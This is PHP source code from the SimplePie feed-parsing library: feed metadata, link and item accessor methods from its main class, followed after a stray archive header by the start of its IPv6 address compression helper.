        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_11, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_10, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ITUNES, 'author') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($authors)) {
            return array_unique($authors);
        }

        return null;
    }

    /**
     * Get a contributor for the feed
     *
     * @since 1.1
     * @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1
     * @return \SimplePie\Author|null
     */
    public function get_contributor($key = 0)
    {
        $contributors = $this->get_contributors();
        if (isset($contributors[$key])) {
            return $contributors[$key];
        }

        return null;
    }

    /**
     * Get all contributors for the feed
     *
     * Uses `<atom:contributor>`
     *
     * @since 1.1
     * @return array|null List of {@see \SimplePie\Author} objects
     */
    public function get_contributors()
    {
        $contributors = [];
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'], self::CONSTRUCT_IRI, $this->get_base($contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0]));
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'], self::CONSTRUCT_IRI, $this->get_base($contributor['child'][self::NAMESPACE_ATOM_03]['url'][0]));
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }

        if (!empty($contributors)) {
            return array_unique($contributors);
        }

        return null;
    }

    /**
     * Get a single link for the feed
     *
     * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
     * @param int $key The link that you want to return. Remember that arrays begin with 0, not 1
     * @param string $rel The relationship of the link to return
     * @return string|null Link URL
     */
    public function get_link($key = 0, $rel = 'alternate')
    {
        $links = $this->get_links($rel);
        if (isset($links[$key])) {
            return $links[$key];
        }

        return null;
    }

    /**
     * Get the permalink for the item
     *
     * Returns the first link available with a relationship of "alternate".
     * Identical to {@see get_link()} with key 0
     *
     * @see get_link
     * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
     * @internal Added for parity between the parent-level and the item/entry-level.
     * @return string|null Link URL
     */
    public function get_permalink()
    {
        return $this->get_link(0);
    }

    /**
     * Get all links for the feed
     *
     * Uses `<atom:link>` or `<link>`
     *
     * @since Beta 2
     * @param string $rel The relationship of links to return
     * @return array|null Links found for the feed (strings)
     */
    public function get_links($rel = 'alternate')
    {
        if (!isset($this->data['links'])) {
            $this->data['links'] = [];
            if ($links = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], self::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], self::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
            }

            $keys = array_keys($this->data['links']);
            foreach ($keys as $key) {
                if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
                    if (isset($this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key])) {
                        $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key]);
                        $this->data['links'][$key] = &$this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key];
                    } else {
                        $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
                    }
                } elseif (substr($key, 0, 41) === self::IANA_LINK_RELATIONS_REGISTRY) {
                    $this->data['links'][substr($key, 41)] = &$this->data['links'][$key];
                }
                $this->data['links'][$key] = array_unique($this->data['links'][$key]);
            }
        }

        if (isset($this->data['headers']['link'])) {
            $link_headers = $this->data['headers']['link'];
            if (is_array($link_headers)) {
                $link_headers = implode(',', $link_headers);
            }
            // https://datatracker.ietf.org/doc/html/rfc8288
            if (is_string($link_headers) &&
                preg_match_all('/<(?P<uri>[^>]+)>\s*;\s*rel\s*=\s*(?P<quote>"?)' . preg_quote($rel) . '(?P=quote)\s*(?=,|$)/i', $link_headers, $matches)) {
                return $matches['uri'];
            }
        }

        if (isset($this->data['links'][$rel])) {
            return $this->data['links'][$rel];
        }

        return null;
    }

    public function get_all_discovered_feeds()
    {
        return $this->all_discovered_feeds;
    }

    /**
     * Get the content for the item
     *
     * Uses `<atom:subtitle>`, `<atom:tagline>`, `<description>`,
     * `<dc:description>`, `<itunes:summary>` or `<itunes:subtitle>`
     *
     * @since 1.0 (previously called `get_feed_description()` since 0.8)
     * @return string|null
     */
    public function get_description()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'subtitle')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'tagline')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'summary')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'subtitle')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
        }

        return null;
    }

    /**
     * Get the copyright info for the feed
     *
     * Uses `<atom:rights>`, `<atom:copyright>` or `<dc:rights>`
     *
     * @since 1.0 (previously called `get_feed_copyright()` since 0.8)
     * @return string|null
     */
    public function get_copyright()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'rights')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'copyright')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'copyright')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'rights')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'rights')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the language for the feed
     *
     * Uses `<language>`, `<dc:language>`, or @xml_lang
     *
     * @since 1.0 (previously called `get_feed_language()` since 0.8)
     * @return string|null
     */
    public function get_language()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'language')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'language')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'language')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['xml_lang'])) {
            return $this->sanitize($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['xml_lang'])) {
            return $this->sanitize($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['xml_lang'])) {
            return $this->sanitize($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['xml_lang'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['headers']['content-language'])) {
            return $this->sanitize($this->data['headers']['content-language'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the latitude coordinates for the item
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:lat>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return string|null
     */
    public function get_latitude()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_channel_tags(self::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[1];
        }

        return null;
    }

    /**
     * Get the longitude coordinates for the feed
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return string|null
     */
    public function get_longitude()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'long')) {
            return (float) $return[0]['data'];
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_channel_tags(self::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[2];
        }

        return null;
    }

    /**
     * Get the feed logo's title
     *
     * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" title.
     *
     * Uses `<image><title>` or `<image><dc:title>`
     *
     * @return string|null
     */
    public function get_image_title()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_DC_11, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_DC_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the feed logo's URL
     *
     * RSS 0.9.0, 2.0, Atom 1.0, and feeds with iTunes RSS tags are allowed to
     * have a "feed logo" URL. This points directly to the image itself.
     *
     * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
     * `<image><title>` or `<image><dc:title>`
     *
     * @return string|null
     */
    public function get_image_url()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'image')) {
            return $this->sanitize($return[0]['attribs']['']['href'], self::CONSTRUCT_IRI);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'logo')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'icon')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'url')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'url')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        }

        return null;
    }


    /**
     * Get the feed logo's link
     *
     * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" link. This
     * points to a human-readable page that the image should link to.
     *
     * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
     * `<image><title>` or `<image><dc:title>`
     *
     * @return string|null
     */
    public function get_image_link()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'link')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'link')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'link')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        }

        return null;
    }

    /**
     * Get the feed logo's link
     *
     * RSS 2.0 feeds are allowed to have a "feed logo" width.
     *
     * Uses `<image><width>` or defaults to 88 if no width is specified and
     * the feed is an RSS 2.0 feed.
     *
     * @return int|null
     */
    public function get_image_width()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'width')) {
            return intval($return[0]['data']);
        } elseif ($this->get_type() & self::TYPE_RSS_SYNDICATION && $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
            return 88;
        }

        return null;
    }

    /**
     * Get the feed logo's height
     *
     * RSS 2.0 feeds are allowed to have a "feed logo" height.
     *
     * Uses `<image><height>` or defaults to 31 if no height is specified and
     * the feed is an RSS 2.0 feed.
     *
     * @return int|null
     */
    public function get_image_height()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'height')) {
            return intval($return[0]['data']);
        } elseif ($this->get_type() & self::TYPE_RSS_SYNDICATION && $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
            return 31;
        }

        return null;
    }

    /**
     * Get the number of items in the feed
     *
     * This is well-suited for {@link http://php.net/for for()} loops with
     * {@see get_item()}
     *
     * @param int $max Maximum value to return. 0 for no limit
     * @return int Number of items in the feed
     */
    public function get_item_quantity($max = 0)
    {
        $max = (int) $max;
        $qty = count($this->get_items());
        if ($max === 0) {
            return $qty;
        }

        return ($qty > $max) ? $max : $qty;
    }

    /**
     * Get a single item from the feed
     *
     * This is better suited for {@link http://php.net/for for()} loops, whereas
     * {@see get_items()} is better suited for
     * {@link http://php.net/foreach foreach()} loops.
     *
     * @see get_item_quantity()
     * @since Beta 2
     * @param int $key The item that you want to return. Remember that arrays begin with 0, not 1
     * @return \SimplePie\Item|null
     */
    public function get_item($key = 0)
    {
        $items = $this->get_items();
        if (isset($items[$key])) {
            return $items[$key];
        }

        return null;
    }

    /**
     * Get all items from the feed
     *
     * This is better suited for {@link http://php.net/for for()} loops, whereas
     * {@see get_items()} is better suited for
     * {@link http://php.net/foreach foreach()} loops.
     *
     * @see get_item_quantity
     * @since Beta 2
     * @param int $start Index to start at
     * @param int $end Number of items to return. 0 for all items after `$start`
     * @return \SimplePie\Item[]|null List of {@see \SimplePie\Item} objects
     */
    public function get_items($start = 0, $end = 0)
    {
        if (!isset($this->data['items'])) {
            if (!empty($this->multifeed_objects)) {
                $this->data['items'] = SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit);
                if (empty($this->data['items'])) {
                    return [];
                }
                return $this->data['items'];
            }
            $this->data['items'] = [];
            if ($items = $this->get_feed_tags(self::NAMESPACE_ATOM_10, 'entry')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->registry->create(Item::class, [$this, $items[$key]]);
                }
            }
            if ($items = $this->get_feed_tags(self::NAMESPACE_ATOM_03, 'entry')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->registry->create(Item::class, [$this, $items[$key]]);
                }
            }
            if ($items = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'item')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->registry->create(Item::class, [$this, $items[$key]]);
                }
            }
            if ($items = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'item')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->registry->create(Item::class, [$this, $items[$key]]);
                }
            }
            if ($items = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'item')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->registry->create(Item::class, [$this, $items[$key]]);
                }
            }
        }

        if (empty($this->data['items'])) {
            return [];
        }

        if ($this->order_by_date) {
            if (!isset($this->data['ordered_items'])) {
                $this->data['ordered_items'] = $this->data['items'];
                usort($this->data['ordered_items'], [get_class($this), 'sort_items']);
            }
            $items = $this->data['ordered_items'];
        } else {
            $items = $this->data['items'];
        }
        // Slice the data as desired
        if ($end === 0) {
            return array_slice($items, $start);
        }

        return array_slice($items, $start, $end);
    }

    /**
     * Set the favicon handler
     *
     * @deprecated Use your own favicon handling instead
     */
    public function set_favicon_handler($page = false, $qs = 'i')
    {
        trigger_error('Favicon handling has been removed, please use your own handling', \E_USER_DEPRECATED);
        return false;
    }

    /**
     * Get the favicon for the current feed
     *
     * @deprecated Use your own favicon handling instead
     */
    public function get_favicon()
    {
        trigger_error('Favicon handling has been removed, please use your own handling', \E_USER_DEPRECATED);

        if (($url = $this->get_link()) !== null) {
            return 'https://www.google.com/s2/favicons?domain=' . urlencode($url);
        }

        return false;
    }

    /**
     * Magic method handler
     *
     * @param string $method Method name
     * @param array $args Arguments to the method
     * @return mixed
     */
    public function __call($method, $args)
    {
        if (strpos($method, 'subscribe_') === 0) {
            trigger_error('subscribe_*() has been deprecated, implement the callback yourself', \E_USER_DEPRECATED);
            return '';
        }
        if ($method === 'enable_xml_dump') {
            trigger_error('enable_xml_dump() has been deprecated, use get_raw_data() instead', \E_USER_DEPRECATED);
            return false;
        }

        $class = get_class($this);
        $trace = debug_backtrace(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
        $file = $trace[0]['file'];
        $line = $trace[0]['line'];
        throw new SimplePieException("Call to undefined method $class::$method() in $file on line $line");
    }

    /**
     * Sorting callback for items
     *
     * @access private
     * @param SimplePie $a
     * @param SimplePie $b
     * @return boolean
     */
    public static function sort_items($a, $b)
    {
        $a_date = $a->get_date('U');
        $b_date = $b->get_date('U');
        if ($a_date && $b_date) {
            return $a_date > $b_date ? -1 : 1;
        }
        // Sort items without dates to the top.
        if ($a_date) {
            return 1;
        }
        if ($b_date) {
            return -1;
        }
        return 0;
    }

    /**
     * Merge items from several feeds into one
     *
     * If you're merging multiple feeds together, they need to all have dates
     * for the items or else SimplePie will refuse to sort them.
     *
     * @link http://simplepie.org/wiki/tutorial/sort_multiple_feeds_by_time_and_date#if_feeds_require_separate_per-feed_settings
     * @param array $urls List of SimplePie feed objects to merge
     * @param int $start Starting item
     * @param int $end Number of items to return
     * @param int $limit Maximum number of items per feed
     * @return array
     */
    public static function merge_items($urls, $start = 0, $end = 0, $limit = 0)
    {
        if (is_array($urls) && sizeof($urls) > 0) {
            $items = [];
            foreach ($urls as $arg) {
                if ($arg instanceof SimplePie) {
                    $items = array_merge($items, $arg->get_items(0, $limit));
                } else {
                    trigger_error('Arguments must be SimplePie objects', E_USER_WARNING);
                }
            }

            usort($items, [get_class($urls[0]), 'sort_items']);

            if ($end === 0) {
                return array_slice($items, $start);
            }

            return array_slice($items, $start, $end);
        }

        trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING);
        return [];
    }

    /**
     * Store PubSubHubbub links as headers
     *
     * There is no way to find PuSH links in the body of a microformats feed,
     * so they are added to the headers when found, to be used later by get_links.
     * @param \SimplePie\File $file
     * @param string $hub
     * @param string $self
     */
    private function store_links(&$file, $hub, $self)
    {
        if (isset($file->headers['link']['hub']) ||
              (isset($file->headers['link']) &&
               preg_match('/rel=hub/', $file->headers['link']))) {
            return;
        }

        if ($hub) {
            if (isset($file->headers['link'])) {
                if ($file->headers['link'] !== '') {
                    $file->headers['link'] = ', ';
                }
            } else {
                $file->headers['link'] = '';
            }
            $file->headers['link'] .= '<'.$hub.'>; rel=hub';
            if ($self) {
                $file->headers['link'] .= ', <'.$self.'>; rel=self';
            }
        }
    }

    /**
     * Get a DataCache
     *
     * @param string $feed_url Only needed for BC, can be removed in SimplePie 2.0.0
     *
     * @return DataCache
     */
    private function get_cache($feed_url = '')
    {
        if ($this->cache === null) {
            // @trigger_error(sprintf('Not providing as PSR-16 cache implementation is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()".'), \E_USER_DEPRECATED);
            $cache = $this->registry->call(Cache::class, 'get_handler', [
                $this->cache_location,
                $this->get_cache_filename($feed_url),
                Base::TYPE_FEED
            ]);

            return new BaseDataCache($cache);
        }

        return $this->cache;
    }
}

class_alias('SimplePie\SimplePie', 'SimplePie');
PKWd[��B!"!"src/Net/IPv6.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Net;

/**
 * Class to validate and to work with IPv6 addresses.
 *
 * @package SimplePie
 * @subpackage HTTP
 * @copyright 2003-2005 The PHP Group
 * @license http://www.opensource.org/licenses/bsd-license.php
 * @link http://pear.php.net/package/Net_IPv6
 * @author Alexander Merz <alexander.merz@web.de>
 * @author elfrink at introweb dot nl
 * @author Josh Peck <jmp at joshpeck dot org>
 * @author Sam Sneddon <geoffers@gmail.com>
 */
class IPv6
{
    /**
     * Uncompresses an IPv6 address
     *
     * RFC 4291 allows you to compress concecutive zero pieces in an address to
     * '::'. This method expects a valid IPv6 address and expands the '::' to
     * the required number of zero pieces.
     *
     * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
     *           ::1         ->  0:0:0:0:0:0:0:1
     *
     * @author Alexander Merz <alexander.merz@web.de>
     * @author elfrink at introweb dot nl
     * @author Josh Peck <jmp at joshpeck dot org>
     * @copyright 2003-2005 The PHP Group
     * @license http://www.opensource.org/licenses/bsd-license.php
     * @param string $ip An IPv6 address
     * @return string The uncompressed IPv6 address
     */
    public static function uncompress($ip)
    {
        $c1 = -1;
        $c2 = -1;
        if (substr_count($ip, '::') === 1) {
            [$ip1, $ip2] = explode('::', $ip);
            if ($ip1 === '') {
                $c1 = -1;
            } else {
                $c1 = substr_count($ip1, ':');
            }
            if ($ip2 === '') {
                $c2 = -1;
            } else {
                $c2 = substr_count($ip2, ':');
            }
            if (strpos($ip2, '.') !== false) {
                $c2++;
            }
            // ::
            if ($c1 === -1 && $c2 === -1) {
                $ip = '0:0:0:0:0:0:0:0';
            }
            // ::xxx
            elseif ($c1 === -1) {
                $fill = str_repeat('0:', 7 - $c2);
                $ip = str_replace('::', $fill, $ip);
            }
            // xxx::
            elseif ($c2 === -1) {
                $fill = str_repeat(':0', 7 - $c1);
                $ip = str_replace('::', $fill, $ip);
            }
            // xxx::xxx
            else {
                $fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
                $ip = str_replace('::', $fill, $ip);
            }
        }
        return $ip;
    }

    /**
     * Compresses an IPv6 address
     *
     * RFC 4291 allows you to compress concecutive zero pieces in an address to
     * '::'. This method expects a valid IPv6 address and compresses consecutive
     * zero pieces to '::'.
     *
     * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
     *           0:0:0:0:0:0:0:1        ->  ::1
     *
     * @see uncompress()
     * @param string $ip An IPv6 address
     * @return string The compressed IPv6 address
     */
    public static function compress($ip)
    {
        // Prepare the IP to be compressed
        $ip = self::uncompress($ip);
        $ip_parts = self::split_v6_v4($ip);

        // Replace all leading zeros
        $ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);

        // Find bunches of zeros
